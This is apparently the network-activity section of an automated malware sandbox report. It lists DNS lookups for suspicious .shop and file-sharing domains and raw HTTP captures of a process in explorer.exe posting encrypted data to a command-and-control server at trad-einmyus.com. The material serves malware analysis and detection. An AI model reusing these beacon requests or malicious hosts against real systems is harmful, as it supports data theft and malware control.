                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.997195005 CET192.168.2.51.1.1.10x6c17Standard query (0)habrafa.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:44.179330111 CET192.168.2.51.1.1.10x770fStandard query (0)speedmouse.czA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.553787947 CET192.168.2.51.1.1.10xa482Standard query (0)t.meA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:47.540430069 CET192.168.2.51.1.1.10xef77Standard query (0)m2reg.ulm.ac.idA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:48.546899080 CET192.168.2.51.1.1.10xef77Standard query (0)m2reg.ulm.ac.idA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:00.871068954 CET192.168.2.51.1.1.10xc7fStandard query (0)resergvearyinitiani.shopA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.482769966 CET192.168.2.51.1.1.10xb573Standard query (0)pay.ayazprak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.024488926 CET192.168.2.51.1.1.10x330cStandard query (0)gemcreedarticulateod.shopA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.665992022 CET192.168.2.51.1.1.10xbbcaStandard query (0)mahta-netwotk.clickA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:03.135320902 CET192.168.2.51.1.1.10x47d0Standard query (0)secretionsuitcasenioise.shopA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:04.185651064 CET192.168.2.51.1.1.10x5281Standard query (0)receitasdepascoa.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:04.225050926 CET192.168.2.51.1.1.10x58c0Standard query (0)claimconcessionrebe.shopA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:05.363481045 CET192.168.2.51.1.1.10x252cStandard query (0)liabilityarrangemenyit.shopA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:07.228560925 CET192.168.2.51.1.1.10x7e35Standard query (0)transfer.shA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:10.662499905 CET192.168.2.51.1.1.10x2b4Standard query (0)yip.suA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:13.926357985 CET192.168.2.51.1.1.10xb510Standard query (0)mbappeportal.shopA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:23.093911886 CET192.168.2.51.1.1.10xe678Standard query (0)tmpfiles.orgA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                              DNS Answers

                                                                                                                                                                                                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:15.956501961 CET1.1.1.1192.168.2.50x448bNo error (0)trad-einmyus.com185.12.126.182A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:18.537607908 CET1.1.1.1192.168.2.50xa481No error (0)galandskiyher5.com185.12.126.182A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com196.188.169.138A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com201.119.31.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com190.187.52.42A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com211.168.53.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com187.134.50.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com211.53.230.67A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com186.13.17.220A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com58.151.148.90A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com123.140.161.243A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514580011 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com187.209.149.149A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com196.188.169.138A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com201.119.31.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com190.187.52.42A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com211.168.53.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com187.134.50.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com211.53.230.67A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com186.13.17.220A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com58.151.148.90A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com123.140.161.243A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514625072 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com187.209.149.149A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com196.188.169.138A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com201.119.31.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com190.187.52.42A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com211.168.53.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com187.134.50.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com211.53.230.67A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com186.13.17.220A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com58.151.148.90A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com123.140.161.243A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.514642000 CET1.1.1.1192.168.2.50x9913No error (0)brusuax.com187.209.149.149A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:33.513792992 CET1.1.1.1192.168.2.50x75fbNo error (0)api.2ip.ua172.67.139.220A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:33.513792992 CET1.1.1.1192.168.2.50x75fbNo error (0)api.2ip.ua104.21.65.24A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com210.182.29.70A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com211.119.84.111A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com196.188.169.138A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com190.12.87.61A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com190.224.203.37A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com95.86.30.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com95.158.162.200A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com186.13.17.220A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com211.119.84.112A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423880100 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com211.53.230.67A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com210.182.29.70A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com211.119.84.111A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com196.188.169.138A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com190.12.87.61A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com190.224.203.37A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com95.86.30.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com95.158.162.200A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com186.13.17.220A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com211.119.84.112A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423934937 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com211.53.230.67A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com210.182.29.70A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com211.119.84.111A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com196.188.169.138A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com190.12.87.61A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com190.224.203.37A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com95.86.30.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com95.158.162.200A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com186.13.17.220A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com211.119.84.112A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.423973083 CET1.1.1.1192.168.2.50x6c17No error (0)habrafa.com211.53.230.67A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:44.614584923 CET1.1.1.1192.168.2.50x770fNo error (0)speedmouse.cz62.109.150.87A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.671195984 CET1.1.1.1192.168.2.50xa482No error (0)t.me149.154.167.99A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:48.807410955 CET1.1.1.1192.168.2.50xef77No error (0)m2reg.ulm.ac.id103.23.232.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:48.807435036 CET1.1.1.1192.168.2.50xef77No error (0)m2reg.ulm.ac.id103.23.232.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.026349068 CET1.1.1.1192.168.2.50xc7fNo error (0)resergvearyinitiani.shop104.21.94.2A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.026349068 CET1.1.1.1192.168.2.50xc7fNo error (0)resergvearyinitiani.shop172.67.217.100A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.622718096 CET1.1.1.1192.168.2.50xb573Server failure (2)pay.ayazprak.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.159696102 CET1.1.1.1192.168.2.50x330cNo error (0)gemcreedarticulateod.shop172.67.152.52A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.159696102 CET1.1.1.1192.168.2.50x330cNo error (0)gemcreedarticulateod.shop104.21.80.171A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.846570969 CET1.1.1.1192.168.2.50xbbcaNo error (0)mahta-netwotk.click46.175.144.56A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:03.255379915 CET1.1.1.1192.168.2.50x47d0No error (0)secretionsuitcasenioise.shop104.21.16.152A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:03.255379915 CET1.1.1.1192.168.2.50x47d0No error (0)secretionsuitcasenioise.shop172.67.213.168A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:04.344919920 CET1.1.1.1192.168.2.50x58c0No error (0)claimconcessionrebe.shop172.67.199.120A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:04.344919920 CET1.1.1.1192.168.2.50x58c0No error (0)claimconcessionrebe.shop104.21.58.31A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:04.383639097 CET1.1.1.1192.168.2.50x5281No error (0)receitasdepascoa.com154.7.253.53A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:05.498042107 CET1.1.1.1192.168.2.50x252cNo error (0)liabilityarrangemenyit.shop104.21.83.220A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:05.498042107 CET1.1.1.1192.168.2.50x252cNo error (0)liabilityarrangemenyit.shop172.67.182.52A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:07.367698908 CET1.1.1.1192.168.2.50x7e35No error (0)transfer.sh144.76.136.153A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:10.783282995 CET1.1.1.1192.168.2.50x2b4No error (0)yip.su172.67.169.89A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:10.783282995 CET1.1.1.1192.168.2.50x2b4No error (0)yip.su104.21.79.77A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.076719999 CET1.1.1.1192.168.2.50xb510No error (0)mbappeportal.shop104.21.25.142A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.076719999 CET1.1.1.1192.168.2.50xb510No error (0)mbappeportal.shop172.67.134.76A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:23.230415106 CET1.1.1.1192.168.2.50xe678No error (0)tmpfiles.org104.21.21.16A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:23.230415106 CET1.1.1.1192.168.2.50xe678No error (0)tmpfiles.org172.67.195.247A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                              HTTP Packets

                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              0192.168.2.549712185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.198275089 CET283OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://wwpoemgkaexpe.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 326
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.198276043 CET326OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 54 d9 8d 00
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dTs\g[;+lhzv&IgO1z"9+.$~Y'}4'G5R$:8G!<$q?"WSX:rO>|25TE{p$Zw-*nH<D
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.446877003 CET190INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:16 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 38 0d 0a 04 00 00 00 79 fa f7 19 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 8y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              1192.168.2.549713185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.690474033 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://gljvsiudeeau.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 304
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.690474033 CET304OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 2f 83 a7 30
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d/0DxX=H?{7J^x_d5KF<!a2X$-6!UMMM#aq"ndC^x.r1{39gpk\/'p)#z$&
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.938858986 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:16 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              2192.168.2.549714185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.184195042 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://vyljhtiquiixne.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 306
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.184235096 CET306OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 0d a6 de 34
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d45{kPBf1=`\IR8>z5&ZEI%-W=UfIQ9.*hYIZ1fJ|qt=AlP?^X#q%nLvP1Ut^\Xymp8
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.434039116 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:17 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              3192.168.2.549715185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.712105036 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://eqmkeamlamwe.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 172
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.712105036 CET172OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 00 9a 9b 72
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]drPC'{!OTAcV_Lxt,%S9RarS#t3hRZ`ymK 9]J
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.960935116 CET244INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:17 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
